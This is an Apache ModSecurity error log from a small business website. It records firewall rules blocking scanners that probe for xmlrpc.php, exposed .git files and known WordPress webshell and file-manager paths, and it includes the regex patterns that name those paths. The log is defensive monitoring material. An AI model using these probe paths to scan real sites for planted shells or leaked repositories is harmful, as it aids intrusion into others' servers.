[Sat Dec 06 06:50:51.640656 2025] [:error] [pid 35591:tid 35596] [client 152.42.243.175:50786] [client 152.42.243.175] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.42.243.175, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aTNhy4bmw-7bFvTxc9ObCQAAAQM"]
[Sat Dec 06 06:50:51.839105 2025] [:error] [pid 35591:tid 35612] [client 152.42.243.175:50786] [client 152.42.243.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "aTNhy4bmw-7bFvTxc9ObCgAAARM"]
[Sat Dec 06 06:50:52.527478 2025] [:error] [pid 35621:tid 35629] [client 152.42.243.175:50913] [client 152.42.243.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "aTNhzEQGb3oZH9SdKQU5EQAAAUU"]
[Sat Dec 06 06:50:53.209043 2025] [:error] [pid 35622:tid 35664] [client 152.42.243.175:50988] [client 152.42.243.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "aTNhzSOSP_9DVLgFwI4zRQAAAY0"]
[Sat Dec 06 06:50:53.890946 2025] [:error] [pid 61303:tid 61323] [client 152.42.243.175:51057] [client 152.42.243.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "aTNhzdwK_fe00OH7zy4MKwAAANA"]
[Sat Dec 06 06:50:54.580964 2025] [:error] [pid 61303:tid 61308] [client 152.42.243.175:51127] [client 152.42.243.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2020/wp-includes/wlwmanifest.xml"] [unique_id "aTNhztwK_fe00OH7zy4MLAAAAMI"]
[Sat Dec 06 06:50:55.266516 2025] [:error] [pid 61216:tid 61260] [client 152.42.243.175:51197] [client 152.42.243.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "aTNhzzHlXXVdP5ewviWLyAAAAE4"]
[Sat Dec 06 06:50:55.953101 2025] [:error] [pid 61216:tid 61254] [client 152.42.243.175:51279] [client 152.42.243.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2021/wp-includes/wlwmanifest.xml"] [unique_id "aTNhzzHlXXVdP5ewviWLygAAAEg"]
[Sat Dec 06 06:50:56.640084 2025] [:error] [pid 35621:tid 35635] [client 152.42.243.175:51346] [client 152.42.243.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "aTNh0EQGb3oZH9SdKQU5FQAAAUs"]
[Sat Dec 06 06:50:57.328852 2025] [:error] [pid 35621:tid 35631] [client 152.42.243.175:51417] [client 152.42.243.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aTNh0UQGb3oZH9SdKQU5FwAAAUc"]
[Sat Dec 06 06:50:58.011168 2025] [:error] [pid 61215:tid 61230] [client 152.42.243.175:51485] [client 152.42.243.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aTNh0uOOZ8nTCBYuI-zdtwAAAAs"]
[Sat Dec 06 06:50:58.697549 2025] [:error] [pid 61215:tid 61229] [client 152.42.243.175:51546] [client 152.42.243.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aTNh0uOOZ8nTCBYuI-zduAAAAAo"]
[Sat Dec 06 06:50:59.386204 2025] [:error] [pid 61216:tid 61265] [client 152.42.243.175:51626] [client 152.42.243.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aTNh0zHlXXVdP5ewviWLzgAAAFM"]
[Sat Dec 06 11:05:47.192728 2025] [:error] [pid 48399:tid 48407] [client 34.213.234.20:43906] [client 34.213.234.20] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/"] [unique_id "aTOdi-jNPOrIshd8Ewd3-wAAAcY"]
[Sat Dec 06 11:05:47.969470 2025] [:error] [pid 61303:tid 61323] [client 34.213.234.20:43918] [client 34.213.234.20] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/HEAD"] [unique_id "aTOdi9wK_fe00OH7zy44-QAAANA"]
[Sat Dec 06 11:48:33.462495 2025] [:error] [pid 35591:tid 35601] [client 192.144.148.122:37374] [client 192.144.148.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTOnkYbmw-7bFvTxc9PSzwAAAQg"]
[Sat Dec 06 12:31:12.005673 2025] [:error] [pid 61215:tid 61236] [client 43.159.149.216:32840] [client 43.159.149.216] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aTOxkOOOZ8nTCBYuI-wNwgAAABE"]
[Sat Dec 06 13:51:53.437943 2025] [:error] [pid 61217:tid 61279] [client 49.51.203.164:59670] [client 49.51.203.164] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTPEeVdSKQYfLI3fYo5UawAAAIY"]
[Sat Dec 06 17:43:06.976176 2025] [:error] [pid 1727:tid 1752] [client 223.244.35.77:51568] [client 223.244.35.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aTP6qsD83luYT37-ZaX3BgAAAlc"]
[Sat Dec 06 23:48:33.359391 2025] [:error] [pid 1727:tid 1753] [client 68.183.147.152:54970] [client 68.183.147.152] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aTRQUcD83luYT37-ZaU1yQAAAlg"]
[Sun Dec 07 00:33:56.139620 2025] [proxy_fcgi:error] [pid 44819:tid 44889] [client 4.197.233.71:57619] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Sun Dec 07 00:33:56.160527 2025] [:error] [pid 44819:tid 44890] [client 4.197.233.71:57619] [client 4.197.233.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.197.233.71, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aTRa9AOul9Pv7KHTFshoFwAAAIw"], referer: https://www.google.com/
[Sun Dec 07 00:33:56.165195 2025] [proxy_fcgi:error] [pid 44819:tid 44890] [client 4.197.233.71:57619] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Sun Dec 07 01:04:05.207591 2025] [:error] [pid 64409:tid 64464] [client 49.51.253.26:58680] [client 49.51.253.26] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aTRiBUGzBNWhWo-aXwQt4QAAAQQ"]
[Sun Dec 07 02:22:04.306135 2025] [:error] [pid 29378:tid 29400] [client 68.183.147.152:56158] [client 68.183.147.152] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aTR0TK0NYr_cN2P9iw7F_QAAAVQ"]
[Sun Dec 07 05:01:38.217495 2025] [:error] [pid 34195:tid 34199] [client 45.146.55.44:31903] [client 45.146.55.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aTSZshrSxOOdwv3vX3w8AAAAAME"]
[Sun Dec 07 05:01:40.386036 2025] [:error] [pid 34108:tid 34129] [client 45.146.55.37:53409] [client 45.146.55.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aTSZtKLvdvAppF-gXosOAQAAABA"]
[Sun Dec 07 05:01:43.824450 2025] [:error] [pid 7273:tid 7288] [client 45.146.55.20:63945] [client 45.146.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aTSZt_pR7YTD7JcHjhF8MwAAAU0"]
[Sun Dec 07 05:01:45.968987 2025] [:error] [pid 34108:tid 34134] [client 45.146.55.12:35259] [client 45.146.55.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aTSZuaLvdvAppF-gXosONgAAABU"]
[Sun Dec 07 05:01:49.415703 2025] [:error] [pid 34110:tid 34168] [client 45.146.55.41:32913] [client 45.146.55.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aTSZvQndtmtsHiXHBO1_AwAAAIE"]
[Sun Dec 07 05:01:50.702300 2025] [:error] [pid 7089:tid 7101] [client 45.146.55.61:56951] [client 45.146.55.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aTSZvoJPZ-pZM-y51NHP0wAAAQo"]
[Sun Dec 07 05:01:51.559510 2025] [:error] [pid 34195:tid 34204] [client 45.146.55.11:65079] [client 45.146.55.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aTSZvxrSxOOdwv3vX3w8WQAAAMY"]
[Sun Dec 07 05:01:52.407602 2025] [:error] [pid 34195:tid 34217] [client 45.146.55.41:55749] [client 45.146.55.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aTSZwBrSxOOdwv3vX3w8YgAAANM"]
[Sun Dec 07 05:01:53.276223 2025] [:error] [pid 34195:tid 34204] [client 45.146.55.49:37025] [client 45.146.55.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aTSZwRrSxOOdwv3vX3w8ZwAAAMY"]
[Sun Dec 07 05:01:54.121935 2025] [:error] [pid 34110:tid 34181] [client 45.146.55.19:35331] [client 45.146.55.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aTSZwgndtmtsHiXHBO1_IAAAAI4"]
[Sun Dec 07 05:01:55.408679 2025] [:error] [pid 34195:tid 34216] [client 45.146.55.28:49147] [client 45.146.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aTSZwxrSxOOdwv3vX3w8hAAAANI"]
[Sun Dec 07 05:01:57.156870 2025] [:error] [pid 7273:tid 7280] [client 45.146.55.44:22169] [client 45.146.55.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aTSZxfpR7YTD7JcHjhF8tAAAAUU"]
[Sun Dec 07 05:01:58.868392 2025] [:error] [pid 34109:tid 34160] [client 45.146.55.58:57465] [client 45.146.55.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aTSZxojE_vucgM_xD4Td9QAAAFQ"]
[Sun Dec 07 05:02:00.158760 2025] [:error] [pid 34109:tid 34154] [client 45.146.55.12:48353] [client 45.146.55.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aTSZyIjE_vucgM_xD4TeAQAAAE4"]
[Sun Dec 07 05:02:01.442195 2025] [:error] [pid 34109:tid 34151] [client 45.146.55.56:25529] [client 45.146.55.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aTSZyYjE_vucgM_xD4TeDAAAAEs"]
[Sun Dec 07 05:02:06.983994 2025] [:error] [pid 34110:tid 34174] [client 45.146.55.47:54233] [client 45.146.55.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aTSZzgndtmtsHiXHBO1_egAAAIc"]
[Sun Dec 07 05:02:08.270690 2025] [:error] [pid 34108:tid 34127] [client 45.146.55.53:33221] [client 45.146.55.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aTSZ0KLvdvAppF-gXosO1wAAAA4"]
[Sun Dec 07 05:02:10.009411 2025] [:error] [pid 7089:tid 7100] [client 45.146.55.29:45205] [client 45.146.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aTSZ0oJPZ-pZM-y51NHQiwAAAQk"]
[Sun Dec 07 05:02:11.285921 2025] [:error] [pid 34195:tid 34220] [client 45.146.55.45:30893] [client 45.146.55.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aTSZ0xrSxOOdwv3vX3w9VwAAANY"]
[Sun Dec 07 05:02:13.863997 2025] [:error] [pid 7089:tid 7110] [client 45.146.55.14:61597] [client 45.146.55.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aTSZ1YJPZ-pZM-y51NHQxAAAARM"]
[Sun Dec 07 05:02:15.167539 2025] [:error] [pid 34109:tid 34150] [client 45.146.55.42:35031] [client 45.146.55.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aTSZ14jE_vucgM_xD4TeZAAAAEo"]
[Sun Dec 07 05:02:16.455529 2025] [:error] [pid 7089:tid 7091] [client 45.146.55.45:40383] [client 45.146.55.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aTSZ2IJPZ-pZM-y51NHQ5wAAAQA"]
[Sun Dec 07 05:02:17.305743 2025] [:error] [pid 34109:tid 34155] [client 45.146.55.30:45453] [client 45.146.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aTSZ2YjE_vucgM_xD4TegAAAAE8"]
[Sun Dec 07 05:02:18.160854 2025] [:error] [pid 7089:tid 7101] [client 45.146.55.21:59443] [client 45.146.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aTSZ2oJPZ-pZM-y51NHQ9AAAAQo"]
[Sun Dec 07 05:02:20.331688 2025] [:error] [pid 34108:tid 34128] [client 45.146.55.55:25453] [client 45.146.55.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aTSZ3KLvdvAppF-gXosPMgAAAA8"]
[Sun Dec 07 05:02:21.186734 2025] [:error] [pid 7273:tid 7277] [client 45.146.55.60:42931] [client 45.146.55.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aTSZ3fpR7YTD7JcHjhF9eAAAAUI"]
